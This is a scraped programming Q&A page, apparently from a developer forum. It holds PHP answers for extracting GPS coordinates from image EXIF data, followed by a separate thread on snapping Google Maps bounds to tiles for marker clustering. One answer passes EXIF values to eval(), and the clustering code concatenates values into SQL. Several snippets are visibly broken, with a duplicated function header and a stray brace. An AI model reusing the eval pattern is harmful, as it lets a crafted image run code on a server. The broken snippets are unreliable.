The Latitude and Longitude arrays contain three values: 0 is for degrees, 1 is for minutes and 2 is for seconds. If you see something like "1589/100" this is equal to 15.89. So for the GPSLongitude array, 3609/100 is equal to 36.09.
Convert the coordinates from degrees-minutes-second form to decimal form here http://www.satsig.net/degrees-minutes-seconds-calculator.htm
If the latitude is South, dont forget to make it negative. If the longitude is west, make that negative. The coodinates from the above data are: 30.26483, -87.6015
Will Coughlin's answer is correct though I formulated a function for quick reference in case someone stumbles upon the same problem.
/**
* Returns an array of latitude and longitude from the Image file
* #param image $file
* #return multitype:number |boolean
*/
function read_gps_location($file){
if (is_file($file)) {
$info = exif_read_data($file);
if (isset($info['GPSLatitude']) && isset($info['GPSLongitude']) &&
isset($info['GPSLatitudeRef']) && isset($info['GPSLongitudeRef']) &&
in_array($info['GPSLatitudeRef'], array('E','W','N','S')) && in_array($info['GPSLongitudeRef'], array('E','W','N','S'))) {
$GPSLatitudeRef = strtolower(trim($info['GPSLatitudeRef']));
$GPSLongitudeRef = strtolower(trim($info['GPSLongitudeRef']));
$lat_degrees_a = explode('/',$info['GPSLatitude'][0]);
$lat_minutes_a = explode('/',$info['GPSLatitude'][1]);
$lat_seconds_a = explode('/',$info['GPSLatitude'][2]);
$lng_degrees_a = explode('/',$info['GPSLongitude'][0]);
$lng_minutes_a = explode('/',$info['GPSLongitude'][1]);
$lng_seconds_a = explode('/',$info['GPSLongitude'][2]);
$lat_degrees = $lat_degrees_a[0] / $lat_degrees_a[1];
$lat_minutes = $lat_minutes_a[0] / $lat_minutes_a[1];
$lat_seconds = $lat_seconds_a[0] / $lat_seconds_a[1];
$lng_degrees = $lng_degrees_a[0] / $lng_degrees_a[1];
$lng_minutes = $lng_minutes_a[0] / $lng_minutes_a[1];
$lng_seconds = $lng_seconds_a[0] / $lng_seconds_a[1];
$lat = (float) $lat_degrees+((($lat_minutes*60)+($lat_seconds))/3600);
$lng = (float) $lng_degrees+((($lng_minutes*60)+($lng_seconds))/3600);
//If the latitude is South, make it negative.
//If the longitude is west, make it negative
$GPSLatitudeRef == 's' ? $lat *= -1 : '';
$GPSLongitudeRef == 'w' ? $lng *= -1 : '';
return array(
'lat' => $lat,
'lng' => $lng
);
}
}
return false;
}
Hope it helps someone.
Call this function with filename. I testet it and it works prefectly.
Call example:
$fileName='xxxxxx'; //or $fileName='xxxxxxxxx';
echo $returned_data = triphoto_getGPS($fileName);
Function:
function triphoto_getGPS($fileName)
{
//get the EXIF all metadata from Images
$exif = exif_read_data($fileName);
if(isset($exif["GPSLatitudeRef"])) {
$LatM = 1; $LongM = 1;
if($exif["GPSLatitudeRef"] == 'S') {
$LatM = -1;
}
if($exif["GPSLongitudeRef"] == 'W') {
$LongM = -1;
}
//get the GPS data
$gps['LatDegree']=$exif["GPSLatitude"][0];
$gps['LatMinute']=$exif["GPSLatitude"][1];
$gps['LatgSeconds']=$exif["GPSLatitude"][2];
$gps['LongDegree']=$exif["GPSLongitude"][0];
$gps['LongMinute']=$exif["GPSLongitude"][1];
$gps['LongSeconds']=$exif["GPSLongitude"][2];
//convert strings to numbers
foreach($gps as $key => $value){
$pos = strpos($value, '/');
if($pos !== false){
$temp = explode('/',$value);
$gps[$key] = $temp[0] / $temp[1];
}
}
//calculate the decimal degree
$result['latitude'] = $LatM * ($gps['LatDegree'] + ($gps['LatMinute'] / 60) + ($gps['LatgSeconds'] / 3600));
$result['longitude'] = $LongM * ($gps['LongDegree'] + ($gps['LongMinute'] / 60) + ($gps['LongSeconds'] / 3600));
$result['datetime'] = $exif["DateTime"];
return $result;
}
}
You can use the EXIF functions of PHP:
exif_read_data($file);
You can use the exif_read_data() function if the geotag data is embedded in the EXIF data.
Install Intervention\Image by following command.
Reference: http://image.intervention.io/getting_started/installation
composer require intervention/image
Update config/app.php
'providers' => [
Intervention\Image\ImageServiceProvider::class
],
'aliases' => [
'Image' => Intervention\Image\Facades\Image::class
]
Use Library:
$data = Image::make(public_path('IMG.jpg'))->exif();
if(isset($data['GPSLatitude'])) {
$lat = eval('return ' . $data['GPSLatitude'][0] . ';')
+ (eval('return ' . $data['GPSLatitude'][1] . ';') / 60)
+ (eval('return ' . $data['GPSLatitude'][2] . ';') / 3600);
$lng = eval('return ' . $data['GPSLongitude'][0] . ';')
+ (eval('return ' . $data['GPSLongitude'][1] . ';') / 60)
+ (eval('return ' . $data['GPSLongitude'][2] . ';') / 3600);
echo "$lat, $lng";
} else {
echo "No GPS Info";
}

calculate tile size of google map at zoom level n

Hey. I have a maps application that uses google maps. I get the bounds off the map, and then I do some clustering markers on that grounds, but to be able to have the clusters stay at the same place, I'd like to know how to make the boundaries that I pass snap into the tilegrid that google uses. The quadtree algorithm they use for their map essentially what I'm asking for is
how do I get the bounds for the tiles that the viewport is in. I've tried to illustrate it :)
If I do the cluster calc on the tile bounds and not the viewport, when I split it up in a grid, the clusters will stay in the same place, because the grid will be absolute at each zoom level.
Also this allows for better query caching, as the queries will be a lot similar when the bounds have to "snap in" to the tiles, AND the user will be able to pan with markers in proximity being displayed already.
UPDATE
I'm starting over...
I've got this
function TileMyBounds($sx, $sy, $nx, $ny, $zoom)
{
function TileMyBounds($sx, $sy, $nx, $ny, $zoom)
{
list($nmx,$nmy) = $this->LatLonToMeters($ny/1000000, $nx/1000000);
list($ntx, $nty) = $this->MetersToTile($nmx, $nmy, $zoom);
$nbounds = $this->TileLatLonBounds($ntx, $nty, $zoom);
list($smx,$smy) = $this->LatLonToMeters($sy/1000000, $sx/1000000);
list($stx, $sty) = $this->MetersToTile($smx, $smy, $zoom);
$sbounds = $this->TileLatLonBounds($stx, $sty, $zoom);
$step = ($sbounds[3]-$sbounds[1])*1000000;
return array($sbounds[0]*1000000, $sbounds[1]*1000000, $nbounds[2]*1000000, $nbounds[3]*1000000, $step);
}
and the function where I use it looks like this:
function clusterGrid($zoom,$nelt,$nelg,$swlt,$swlg)
{
$singlemarkers = array();
$clusters = array();
list($swlg, $swlt, $nelg, $nelt, $step) = $this->TileMyBounds($swlg, $swlt, $nelg, $nelt, $zoom);
$calcbounds = $this->TileMyBounds($swlg, $swlt, $nelg, $nelt, $zoom);
$queryconcat = "";
$length_lng = ceil(($nelg-$swlg)/$step);
$length_lat = ceil(($nelt-$swlt)/$step);
$orgnelg = $nelg;
$orgswlt = $swlt;
for($i=0;$i < $length_lng + 1; $i++) {
$nelg -= $step;
$temp_swlt = $swlt;
for($j=0; $j < $length_lat + 1; $j++) {
$temp_swlt += $step;
if($nelg > $orgnelg) continue;
if($temp_swlt > $nelt) continue;
if($nelg < $swlg) continue;
if($temp_swlt < $orgswlt) continue;
$q = $this->db->select('
COUNT(*) AS CO,
(MAX(lat)+MIN(lat))/2 AS lat,
(MAX(lng)+MIN(lng))/2 AS lng')
->where('`lat` BETWEEN '.$temp_swlt.' AND '.($temp_swlt+$step).' AND
`lng` BETWEEN '.($nelg-$step).' AND '.$nelg)
->get('markers');
$queryconcat += $this->db->last_query();
$result = $q->row_array();
if($result['CO'] == 0) {
continue;
}
$clusters[] = array('lat' => ($result['lat']), 'lng' => ($result['lng']), 'size' => $result['CO']);
}
}
return array('singlemarkers' => '', 'clustermarkers' => $clusters, 'bounds' => $calcbounds, 'lengths' => array($length_lng, $length_lat));
}
UPDATE!!!! 12/03/2011 - Almost there
The tiles are somewhat precise, yet not entirely, so when panning around, the clusters can "move around" a little. Due to the fact that the $step = ($sbounds[3]-$sbounds[1])*1000000; calculation is not always the same at each zoom level, as I would've expected because I would think that a tile would have the same width and length in lat and lon as any other tile at the same zoom level.
But something's not quite right. Can anyone tell why I'm not getting the viewport coordinates when I pass in swlg,swlat,nelg,nelat and the zoom level
You want to solve the space-filling-curve equation first with all 4 bounds coordinates.
list($lng, $lat) = array ($row['lng'], $row['lat']);
list($mx, $my) = $mercator->LatLonToMeters($lat, $lng);
list($tx, $ty) = $mercator->MetersToTile($mx, $my, MAXZOOM);
list($tx, $ty) = array ($tx, ((1 << MAXZOOM) - 1) - $ty );
list($minx, $miny) = $this->PixelsToMeters( $tx*$this->tileSize, $ty*$this->tileSize, $zoom );
list($maxx, $maxy) = $this->PixelsToMeters( ($tx+1)*$this->tileSize, ($ty+1)*$this->tileSize, $zoom );
return array($minx, $miny, $maxx, $maxy);
or
list($lng, $lat) = array ($row['lng'], $row['lat']);
list($mx, $my) = $mercator->LatLonToMeters($lat, $lng);
list($tx, $ty) = $mercator->MetersToTile($mx, $my, MAXZOOM);
list($tx, $ty) = array ($tx, ((1 << MAXZOOM) - 1) - $ty );
$bounds = $this->TileBounds($tx, $ty, $zoom);
list($minLat, $minLon) = $this->MetersToLatLon($bounds[0], $bounds[1]);
list($maxLat, $maxLon) = $this->MetersToLatLon($bounds[2], $bounds[3]);
return array($minLat, $minLon, $maxLat, $maxLon);
EDIT: Problem is solved. OP answered in private Mail:

Categories